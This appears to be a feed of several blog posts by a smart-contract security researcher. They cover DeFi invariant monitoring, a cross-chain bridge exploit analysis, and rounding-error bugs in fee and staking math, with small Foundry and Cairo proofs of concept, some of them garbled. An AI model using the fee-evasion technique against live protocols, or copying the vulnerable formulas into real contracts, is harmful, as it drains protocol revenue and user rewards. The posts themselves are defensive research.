&lt;p&gt;Total Assets≥Total Shares×Exchange Rate&lt;br&gt;
When this fails, the protocol becomes undercollateralized. Manual intervention is often too slow to prevent a bank run or an exploit.&lt;/p&gt;

&lt;p&gt;The Architecture: Clojure meets Solidity&lt;br&gt;
I chose Clojure for the monitoring agent due to its robust handling of state and excellent concurrency primitives, while the SentinelGuardian contract is built with Foundry on the Mantle Network.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The SentinelGuardian (Solidity)&lt;br&gt;
The contract is designed to be the "on-chain hand" of the agent. It holds the logic to pause or protect the vault once a valid trigger is received from the authorized researcher.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The Watchdog (Clojure)&lt;br&gt;
The agent constantly polls the Mantle RPC. Unlike standard bots, it doesn't just look at prices; it validates the mathematical integrity of the protocol:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Clojure&lt;br&gt;
(defn -main &lt;a href="https://dev.tolet%20[data%20(get-vault-data%20guardian-address)]&amp;lt;br&amp;gt;%0A%20%20%20%20(if%20(&amp;gt;%20(:shares%20data)%20(:assets%20data))&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20(trigger-protection)&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20(println"&gt;&amp;amp; args&lt;/a&gt;)))&lt;br&gt;
Proof of Concept: Detecting a "Dust Leak"&lt;br&gt;
During testing on Anvil, the Sentinel successfully detected a simulated rounding error (where shares &amp;gt; assets).&lt;/p&gt;

&lt;p&gt;Detection: Invariant deviation detected!&lt;/p&gt;

&lt;p&gt;Response: Automatic execution of the protect() function.&lt;/p&gt;

&lt;p&gt;Result: Transaction 0x0237... successfully secured the protocol in less than one block.&lt;/p&gt;

&lt;p&gt;Why Mantle?&lt;br&gt;
Mantle's low fees and high throughput make it the perfect environment for high-frequency security monitoring. It allows our agent to poll the state frequently without prohibitive gas costs, ensuring the "protection window" is as small as possible.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
Security in Web3 must evolve from static audits to dynamic, autonomous defense. Sentinel Mantle is a step toward a future where protocols can protect themselves the moment math stops adding up.&lt;/p&gt;

&lt;p&gt;Check out the full source code on my GitHub:&lt;br&gt;
&lt;a href="https://github.com/rdin777/sentinel-mantle" rel="noopener noreferrer"&gt;https://github.com/rdin777/sentinel-mantle&lt;/a&gt;&lt;/p&gt;

</description>
      <category>automation</category>
      <category>blockchain</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>The $292M Shadow Attack: Why Smart Contract Audits Weren't Enough for KelpDAO</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Fri, 01 May 2026 10:26:45 +0000</pubDate>
      <link>https://dev.to/rdin777/the-292m-shadow-attack-why-smart-contract-audits-werent-enough-for-kelpdao-53j1</link>
      <guid>https://dev.to/rdin777/the-292m-shadow-attack-why-smart-contract-audits-werent-enough-for-kelpdao-53j1</guid>
      <description>&lt;p&gt;The recent KelpDAO incident (April 2026) sent shockwaves through the DeFi ecosystem, not because of a reentrancy bug or a math error, but because it exposed a critical blind spot in cross-chain security: the Transport Layer.&lt;/p&gt;

&lt;p&gt;As a Web3 security researcher, I’ve analyzed the root cause and built a PoC to demonstrate how an insecure LayerZero v2 configuration led to one of the biggest hacks of the year.&lt;/p&gt;

&lt;p&gt;🛠 The Root Cause: 1-of-1 DVN Vulnerability&lt;br&gt;
Most auditors focus on Solidity, but the KelpDAO exploit happened at the infrastructure level. The protocol relied on a 1-of-1 Decentralized Verifier Network (DVN) configuration on LayerZero v2.&lt;/p&gt;

&lt;p&gt;How the Attack Unfolded:&lt;br&gt;
RPC Poisoning: The attacker (linked to the Lazarus Group) isolated the RPC nodes of the single verifier.&lt;/p&gt;

&lt;p&gt;Fake State Injection: By controlling the verifier’s view of the source chain, the hacker simulated a "Burn" event for rsETH.&lt;/p&gt;

&lt;p&gt;Unchecked Minting: The destination chain, trusting the single compromised verifier, triggered an LzReceive and minted $292M worth of tokens out of thin air.&lt;/p&gt;

&lt;p&gt;This is a classic Single Point of Failure (SPoF). Even the most secure smart contract cannot defend against a compromised truth-source.&lt;/p&gt;

&lt;p&gt;📈 Market Contagion &amp;amp; Recovery (Post-Mortem)&lt;br&gt;
As of May 1, 2026, the industry is still picking up the pieces:&lt;/p&gt;

&lt;p&gt;Aave Liquidity Crisis: The influx of "unbacked" rsETH used as collateral created $123M - $230M in bad debt.&lt;/p&gt;

&lt;p&gt;The "DeFi United" Effort: A massive coordination between LayerZero Labs, Consensys, and Arbitrum DAO is underway to restore the peg, including a release of 30,765.66 ETH frozen by the Arbitrum Security Council.&lt;/p&gt;

&lt;p&gt;🔍 Proactive Defense: Monitoring Cross-Chain Invariants&lt;br&gt;
In my research repository [rdin777/kelpdao-incident-analysis], I’ve proposed a two-layer defense strategy:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Multi-DVN Configuration (X-of-Y)&lt;br&gt;
Never trust a single verifier. The industry is moving to a mandatory 2-of-3 or 3-of-5 setup (e.g., Google Cloud + Polyhedra + LayerZero Labs).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Real-time Invariant Monitoring (Clojure)&lt;br&gt;
I’ve implemented a listener in Clojure that tracks cross-chain supply. If Total Supply on Destination &amp;gt; Locked Assets on Source, the monitor triggers an emergency pause.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Clojure&lt;br&gt;
;; Sneak peek of the monitoring logic&lt;br&gt;
(defn check-cross-chain-solvency &lt;a href="https://dev.toif%20(&amp;gt;%20dest-minted%20source-locked)&amp;lt;br&amp;gt;%0A%20%20%20%20(alert-emergency!"&gt;source-locked dest-minted&lt;/a&gt;&lt;br&gt;
    (log-info "System Solvent")))&lt;br&gt;
🚀 Conclusion&lt;br&gt;
The KelpDAO hack is a reminder that in 2026, Web3 Security = Smart Contract Security + Infrastructure Security. We must move beyond auditing lines of code and start auditing the paths that data takes between chains.&lt;/p&gt;

&lt;p&gt;Check out the full PoC and Analysis on my GitHub:&lt;br&gt;
👉 github.com/rdin777/kelpdao-incident-analysis&lt;/p&gt;

&lt;h1&gt;
  
  
  web3 #blockchain #security #ethereum #layerzero #solidity
&lt;/h1&gt;

</description>
      <category>architecture</category>
      <category>blockchain</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>How 1,000 Wei Can Drain Protocol Fees: A Deep Dive into CoW Protocol Rounding Errors</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Thu, 30 Apr 2026 06:36:33 +0000</pubDate>
      <link>https://dev.to/rdin777/how-1000-wei-can-drain-protocol-fees-a-deep-dive-into-cow-protocol-rounding-errors-3ikc</link>
      <guid>https://dev.to/rdin777/how-1000-wei-can-drain-protocol-fees-a-deep-dive-into-cow-protocol-rounding-errors-3ikc</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F479khrtnmzfltf68wh2z.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F479khrtnmzfltf68wh2z.PNG" alt=" " width="800" height="264"&gt;&lt;/a&gt;&lt;br&gt;
During my recent security research into the CoW Protocol (Gnosis Protocol v2), I focused on how the protocol handles fractional settlements. While the protocol is architecturally sound, a classic smart contract pitfall—precision loss—can lead to cumulative fee leakage.&lt;/p&gt;

&lt;p&gt;In this post, I’ll show how a malicious solver can exploit integer division in GPv2Settlement to execute trades with zero protocol fees.&lt;/p&gt;

&lt;p&gt;The Vulnerability: Death by a Thousand Cuts&lt;br&gt;
The core of the issue lies in how fees are calculated for partiallyFillable orders. In GPv2Order.sol, users can sign orders that allow solvers to fill them in multiple steps.&lt;/p&gt;

&lt;p&gt;When a solver executes a partial fill, the protocol calculates the proportional fee using the following formula:&lt;/p&gt;

&lt;p&gt;executedFeeAmount= &lt;br&gt;
sellAmount&lt;br&gt;
feeAmount⋅executedAmount&lt;br&gt;
​&lt;/p&gt;

&lt;p&gt;Since Solidity doesn't support floating-point numbers, it uses integer division, which always rounds down.&lt;/p&gt;

&lt;p&gt;The Attack Vector&lt;br&gt;
A malicious solver can split a large order into thousands of "dust" transactions. If the solver ensures that (feeAmount⋅executedAmount)&amp;lt;sellAmount, the result will be 0.&lt;/p&gt;

&lt;p&gt;Proof of Concept (PoC)&lt;br&gt;
To verify this, I wrote a test using the Foundry framework. My goal was to prove that a trade with a valid fee amount could be processed while contributing exactly 0 to the protocol's treasury.&lt;/p&gt;

&lt;p&gt;Solidity&lt;br&gt;
// test/DustAttack.t.sol&lt;br&gt;
function test_RoundingFeeToZero() public view {&lt;br&gt;
    uint256 sellAmount = 100 ether; &lt;br&gt;
    uint256 feeAmount = 1 ether;    &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Solver executes a "dust" trade of 1000 wei
uint256 executedAmount = 1000; 

// Proportional fee calculation: (1e18 * 1000) / 100e18
uint256 executedFeeAmount = (feeAmount * executedAmount) / sellAmount;

console.log("Executed Amount (wei):", executedAmount);
console.log("Calculated Fee (wei): ", executedFeeAmount);

assertEq(executedFeeAmount, 0, "Fee should be rounded to zero");
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
As shown in my terminal, the test passed with a zero fee result, confirming the "Fee Leakage" vulnerability.&lt;/p&gt;

&lt;p&gt;Impact &amp;amp; Mitigation&lt;br&gt;
While a single transaction might only leak a few wei, an automated solver can repeat this thousands of times. This results in:&lt;/p&gt;

&lt;p&gt;Protocol Revenue Loss: The DAO loses its intended cut of the volume.&lt;/p&gt;

&lt;p&gt;Unfair Advantage: Solvers can bypass the cost of doing business on the protocol.&lt;/p&gt;

&lt;p&gt;Recommended Fix:&lt;br&gt;
Implement a "minimum fee" check or use a rounding-up mechanism (like fixedPoint.mulDivUp) to ensure the protocol always collects at least 1 unit of the fee token for any non-zero execution.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
Precision matters—especially in DeFi. This research is part of my ongoing work in smart contract security, where I analyze top-tier protocols for subtle economic vulnerabilities.&lt;/p&gt;

&lt;p&gt;You can find the full PoC and my research notes in my GitHub repository:&lt;br&gt;
&lt;a href="https://github.com/rdin777/contracts_cowprotocol" rel="noopener noreferrer"&gt;https://github.com/rdin777/contracts_cowprotocol&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;About the Author:&lt;br&gt;
I am a Smart Contract Auditor and Security Researcher specializing in vulnerability research (Log Injection, DoS, and Math errors). Currently looking for remote opportunities in Web3 security.&lt;/p&gt;

&lt;h1&gt;
  
  
  solidity #web3 #security #ethereum #foundry
&lt;/h1&gt;

</description>
      <category>blockchain</category>
      <category>ethereum</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>How a $292M Exploit Redefined Cross-Chain Security: The KelpDAO Incident</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sun, 26 Apr 2026 11:29:45 +0000</pubDate>
      <link>https://dev.to/rdin777/how-a-292m-exploit-redefined-cross-chain-security-the-kelpdao-incident-25io</link>
      <guid>https://dev.to/rdin777/how-a-292m-exploit-redefined-cross-chain-security-the-kelpdao-incident-25io</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft8v71drgwwvcu5fcovy7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft8v71drgwwvcu5fcovy7.png" alt=" " width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Beyond Smart Contracts: The Infrastructure Trap&lt;br&gt;
The recent $292M KelpDAO exploit (April 2026) was a wake-up call for the DeFi ecosystem. As a security researcher, I decided to deconstruct this incident to show that even "audited" code can fail if the infrastructure layer is fragile.&lt;/p&gt;

&lt;p&gt;The Root Cause: The "1-of-1" Fallacy&lt;br&gt;
KelpDAO utilized LayerZero v2 for its bridge operations. While the protocol itself is robust, the configuration was a disaster waiting to happen. They used a 1-of-1 DVN (Decentralized Verifier Network).&lt;/p&gt;

&lt;p&gt;The result? A single point of failure. By compromising the RPC nodes used by this verifier, attackers were able to feed it "poisoned" data.&lt;/p&gt;

&lt;p&gt;The "Phantom Burn" Attack Vector&lt;br&gt;
The exploit didn't break any math in the smart contracts. Instead, it manipulated the state perception:&lt;/p&gt;

&lt;p&gt;Eclipse Attack: Attackers isolated the verifier's RPC nodes.&lt;/p&gt;

&lt;p&gt;Fake Events: They broadcasted a fake "Burn" event on the source chain.&lt;/p&gt;

&lt;p&gt;Invalid Release: The destination bridge, trusting the compromised verifier, released 116,500 rsETH that was never actually backed.&lt;/p&gt;

&lt;p&gt;My Approach: Monitoring with Clojure&lt;br&gt;
While most use Python or JS, I believe functional programming is superior for real-time monitoring. Clojure's immutability and precision with BigInteger make it perfect for watching cross-chain invariants.&lt;/p&gt;

&lt;p&gt;I wrote a simple Solvency Watcher that independently verifies the state of both chains:&lt;/p&gt;

&lt;p&gt;Clojure&lt;br&gt;
;; Independent check: L1 Locked Assets &amp;gt;= L2 Total Supply&lt;br&gt;
(defn check-solvency &lt;a href="https://dev.tolet%20[locked%20(fetch-l1-locked%20l1-rpc%20bridge-addr)&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20%20%20supply%20(fetch-l2-supply%20l2-rpc%20token-addr)]&amp;lt;br&amp;gt;%0A%20%20%20%20(if%20(&amp;lt;%20locked%20supply)&amp;lt;br&amp;gt;%0A%20%20%20%20%20%20(trigger-alert!"&gt;l1-rpc l2-rpc bridge-addr token-addr&lt;/a&gt;&lt;br&gt;
      (log-status "System Healthy"))))&lt;br&gt;
How to Prevent This (The Auditor's Checklist)&lt;br&gt;
Multi-DVN Setup: Never settle for 1-of-1. Use at least a 2-of-3 setup with independent entities (e.g., Google Cloud + LayerZero + Chainlink).&lt;/p&gt;

&lt;p&gt;On-Chain Invariants: Don't just trust the message. Add an assertion in your LzReceive function to check if the bridge has enough liquidity to cover the release.&lt;/p&gt;

&lt;p&gt;Withdrawal Limits: Implement time-based rate limits to slow down large-scale drains.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;br&gt;
Security in 2026 is no longer about checking for reentrancy. It’s about Infrastructure Awareness.&lt;/p&gt;

&lt;p&gt;I’ve documented the full analysis, including a Foundry PoC and the Clojure monitor, in my research repository:&lt;br&gt;
👉 github.com/rdin777/kelpdao-incident-analysis&lt;/p&gt;

&lt;h1&gt;
  
  
  security #blockchain #ethereum #clojure #solidity
&lt;/h1&gt;

</description>
      <category>architecture</category>
      <category>blockchain</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>How Aave V4’s "Design Choice" Turned Into a $195M Liquidation Deadlock (KelpDAO/rsETH Case)</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Tue, 21 Apr 2026 09:00:08 +0000</pubDate>
      <link>https://dev.to/rdin777/how-aave-v4s-design-choice-turned-into-a-195m-liquidation-deadlock-kelpdaorseth-case-57kk</link>
      <guid>https://dev.to/rdin777/how-aave-v4s-design-choice-turned-into-a-195m-liquidation-deadlock-kelpdaorseth-case-57kk</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Filtkyq7ofvgmw63v76b1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Filtkyq7ofvgmw63v76b1.png" alt=" " width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Intro&lt;br&gt;
Two months ago, while auditing Aave V4, I discovered a critical DoS vector in their core math library. I reported it, expecting a fix. The response? "This is intended design. Not a bug."&lt;/p&gt;

&lt;p&gt;Fast forward to April 2026: The KelpDAO/rsETH exploit happens. Lazarus Group dumps massive amounts of rsETH into Aave as collateral. When the price crashes, liquidators try to step in, but the protocol hits a wall. The exact wall I warned them about.&lt;/p&gt;

&lt;p&gt;The Technical "Feature"&lt;br&gt;
The issue lies in MathUtils.sol and how it handles the mulDivDown function. In Aave V4, the liquidation bonus is dynamic. It uses a formula that calculates the bonus based on the position's Health Factor.&lt;/p&gt;

&lt;p&gt;Solidity&lt;br&gt;
// src/spoke/libraries/LiquidationLogic.sol:329&lt;br&gt;
(maxLiquidationBonus - minLiquidationBonus).mulDivDown(deltaHealth, range)&lt;br&gt;
The mulDivDown implementation uses a strict intermediate overflow check in assembly. While "safe" in theory, it’s a ticking time bomb for high-precision LSTs (Liquid Staking Tokens) like rsETH.&lt;/p&gt;

&lt;p&gt;Why "Design" Failed Reality&lt;br&gt;
When the position size is massive (like the $293M rsETH position), the intermediate product of (deltaBonus * deltaHealth) exceeds 2 &lt;br&gt;
256&lt;br&gt;
 −1.&lt;/p&gt;

&lt;p&gt;Aave's "design" was to revert on such overflows. But in a liquidation scenario, a revert is a death sentence.&lt;/p&gt;

&lt;p&gt;The liquidator calls executeLiquidation.&lt;/p&gt;

&lt;p&gt;The contract calculates the bonus.&lt;/p&gt;

&lt;p&gt;The math overflows and triggers a revert.&lt;/p&gt;

&lt;p&gt;The transaction fails.&lt;/p&gt;

&lt;p&gt;The bad debt stays on the books.&lt;/p&gt;

&lt;p&gt;The Proof&lt;br&gt;
I’ve published a full Post-Mortem and PoC on my GitHub: rdin777/aave-v4-post-mortem&lt;/p&gt;

&lt;p&gt;In the PoC, I simulated the exact conditions of the rsETH crash. The result? Liquidation logic is completely blocked. The protocol "saw" the debt (as my tests on PositionStatusMap confirmed), but its "eyes" were useless because its "hands" (the math) were tied.&lt;/p&gt;

&lt;p&gt;Lessons Learned&lt;br&gt;
When a security researcher points to a revert in a critical path (like liquidation), "it's by design" is a dangerous answer. In DeFi, availability is as important as correctness. If your math is too "perfect" to handle extreme market conditions, the protocol fails exactly when it's needed most.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/rdin777" rel="noopener noreferrer"&gt;https://github.com/rdin777&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/rdin777/aave-v4-post-mortem" rel="noopener noreferrer"&gt;https://github.com/rdin777/aave-v4-post-mortem&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;#blockchain, #security, #ethereum, #solidity&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8a2oe4p8zpfyqz69f52n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8a2oe4p8zpfyqz69f52n.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpdii655ko2y84l13x2x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmpdii655ko2y84l13x2x.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>blockchain</category>
      <category>ethereum</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>How I Mastered Foundry and Earned My 101 Badge: A Journey into Web3 Security</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Mon, 20 Apr 2026 09:36:30 +0000</pubDate>
      <link>https://dev.to/rdin777/how-i-mastered-foundry-and-earned-my-101-badge-a-journey-into-web3-security-38bg</link>
      <guid>https://dev.to/rdin777/how-i-mastered-foundry-and-earned-my-101-badge-a-journey-into-web3-security-38bg</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuq2gtthvddq8dacbbqfe.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuq2gtthvddq8dacbbqfe.PNG" alt=" " width="765" height="505"&gt;&lt;/a&gt;&lt;br&gt;
The world of smart contracts is unforgiving. As a Web3 Security Researcher operating under the handle rdin777, I’ve always known that manual code review is only half the battle. To truly understand a protocol’s vulnerabilities, you need to master the tools that allow you to simulate attacks, manipulate state, and debug at the opcode level.&lt;/p&gt;

&lt;p&gt;Today, I’m proud to share that I’ve officially completed the Foundry Fundamentals course on Cyfrin Updraft! 🛠️&lt;/p&gt;

&lt;p&gt;Why Foundry?&lt;br&gt;
Coming from a security background, I needed a framework that was fast, robust, and written in Solidity. Foundry’s ability to run tests in a local environment while mimicking real-world conditions is a game-changer.&lt;/p&gt;

&lt;p&gt;Throughout 122 lessons, I dived deep into:&lt;/p&gt;

&lt;p&gt;Advanced Testing: Implementing the Arrange-Act-Assert pattern for complex DeFi logic.&lt;/p&gt;

&lt;p&gt;Cheatcodes: Mastering vm.prank, vm.warp, and vm.deal to manipulate blockchain state like a god.&lt;/p&gt;

&lt;p&gt;Mainnet Forking: Testing how my code interacts with real deployed systems without spending a cent in gas.&lt;/p&gt;

&lt;p&gt;EVM Opcodes: Stepping through transactions with forge test --debug to see exactly what’s happening under the hood.&lt;/p&gt;

&lt;p&gt;From Learning to Practice&lt;br&gt;
I don't believe in theory without practice. While finishing this course, I was already applying these methodologies to my latest audit: Starknet Staking Audit.&lt;/p&gt;

&lt;p&gt;Even though Starknet uses Cairo, the mental framework of rigorous testing and edge-case analysis I learned in Foundry is universal. Whether it's Solidity or Cairo, the goal remains the same: Zero-vulnerability code.&lt;/p&gt;

&lt;p&gt;The "93% Struggle"&lt;br&gt;
A quick tip for my fellow students on Updraft: If you find yourself stuck at 93% completion even with all green checkmarks—double-check every single "Mark as Complete" button! It takes discipline to cross the finish line, but the 100% mark is worth it.&lt;/p&gt;

&lt;p&gt;What’s Next?&lt;br&gt;
This badge is just the beginning. My next milestone is deep-diving into Smart Contract Security &amp;amp; Auditing. I'll be spending the coming weeks breaking down complex protocols and finding the "unfindable" bugs.&lt;/p&gt;

&lt;p&gt;Check out my verified achievement here: &lt;a href="https://profiles.cyfrin.io/u/rdin35051/achievements/foundry" rel="noopener noreferrer"&gt;https://profiles.cyfrin.io/u/rdin35051/achievements/foundry&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's connect!&lt;/p&gt;

&lt;p&gt;GitHub: rdin777&lt;/p&gt;

&lt;p&gt;Warpcast: &lt;a class="mentioned-user" href="https://dev.to/rdin777"&gt;@rdin777&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  web3 #solidity #blockchain #ethereum #cybersecurity #foundry #smartcontracts
&lt;/h1&gt;

</description>
      <category>blockchain</category>
      <category>security</category>
      <category>testing</category>
      <category>web3</category>
    </item>
    <item>
      <title>How I Broke my Starknet Staking Contract with Simple Math: A Lesson on Rounding Errors</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sun, 19 Apr 2026 11:38:27 +0000</pubDate>
      <link>https://dev.to/rdin777/how-i-broke-my-starknet-staking-contract-with-simple-math-a-lesson-on-rounding-errors-50ob</link>
      <guid>https://dev.to/rdin777/how-i-broke-my-starknet-staking-contract-with-simple-math-a-lesson-on-rounding-errors-50ob</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg5x5tdbs6wd2iea8iqzp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg5x5tdbs6wd2iea8iqzp.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every smart contract developer knows that floating-point numbers don't exist in Solidity or Cairo. We use integers. But knowing it and feeling the consequences are two different things.&lt;/p&gt;

&lt;p&gt;In my recent security research on a Starknet staking protocol, I implemented a vulnerability that is so simple, yet so devastating: The "Division Before Multiplication" Bug.&lt;br&gt;
The Vulnerable LogicImagine a standard staking reward formula. You want to calculate the reward increase based on time, a reward rate, and the total supply of staked tokens. To maintain precision, we use a multiplier (like $10^{18}$).Here is the line of code that caused the "ghost rewards" issue:&lt;br&gt;
// ⚠️ VULNERABLE CODE&lt;br&gt;
let reward_increase = (duration * rate) / supply * 1_000_000_000_000_000_000;&lt;br&gt;
At first glance, it looks fine. We calculate the rate per time, divide by supply, and scale it up. Wrong.&lt;br&gt;
Why It BreaksIn integer-based languages like Cairo, division is performed first. If (duration * rate) is smaller than supply, the result of the division is exactly 0.Even if you multiply that 0 by a quintillion ($10^{18}$), it remains 0. The rewards for your users simply vanish into the void.&lt;br&gt;
Proving the Flaw (PoC)&lt;br&gt;
To confirm this, I wrote a Proof of Concept using Starknet Foundry (snforge). I simulated a "Whale" entering the pool with a large supply, making the denominator huge.&lt;/p&gt;

&lt;h1&gt;
  
  
  [test]
&lt;/h1&gt;

&lt;p&gt;fn test_math_precision_loss() {&lt;br&gt;
    let duration: u256 = 100; &lt;br&gt;
    let rate: u256 = 10000;&lt;br&gt;&lt;br&gt;
    let supply: u256 = 1_000_000_000_000_000_000_000; // 1000 tokens&lt;br&gt;
    let precision: u256 = 1_000_000_000_000_000_000; &lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Result: (1,000,000 / 10^21) = 0. Then 0 * 10^18 = 0
let reward_increase = (duration * rate) / supply * precision;
assert(reward_increase == 0, 'BUG_STILL_EXISTS');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;}&lt;br&gt;
The test passed, meaning the rewards were indeed lost.&lt;/p&gt;

&lt;p&gt;The Fix&lt;br&gt;
The rule is simple: Always multiply before you divide. By reordering the operations, we keep the numbers large before the division "chops off" the precision.&lt;br&gt;
// ✅ SECURE CODE&lt;br&gt;
let reward_increase = (duration * rate * 1_000_000_000_000_000_000) / supply;&lt;br&gt;
With this fix, even small rewards are captured and distributed correctly.&lt;br&gt;
Conclusion&lt;br&gt;
Precision loss is a silent killer in DeFi. One misplaced set of parentheses or a wrong order of operations can lead to frozen funds or broken incentives.&lt;/p&gt;

&lt;p&gt;You can check out my full audit and the PoC code on my GitHub: rdin777/starknet-staking_audit1&lt;/p&gt;

&lt;h1&gt;
  
  
  starknet #cairo #security #blockchain #smartcontracts
&lt;/h1&gt;

</description>
      <category>blockchain</category>
      <category>programming</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>Securing Starknet: Fixing Gas DoS &amp; Logic Flaws with AI-Assisted Auditing</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Fri, 17 Apr 2026 10:04:34 +0000</pubDate>
      <link>https://dev.to/rdin777/securing-starknet-fixing-gas-dos-logic-flaws-with-ai-assisted-auditing-2a5</link>
      <guid>https://dev.to/rdin777/securing-starknet-fixing-gas-dos-logic-flaws-with-ai-assisted-auditing-2a5</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F66noz0mhcyo8jfdw8c5j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F66noz0mhcyo8jfdw8c5j.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In my previous post, I demonstrated how an unbounded loop could lead to a 9.8M Gas DoS on Starknet. Today, I’m sharing the follow-up: how I mitigated this vulnerability and fixed a critical logic flaw—Duplicate Token Registration.&lt;/p&gt;

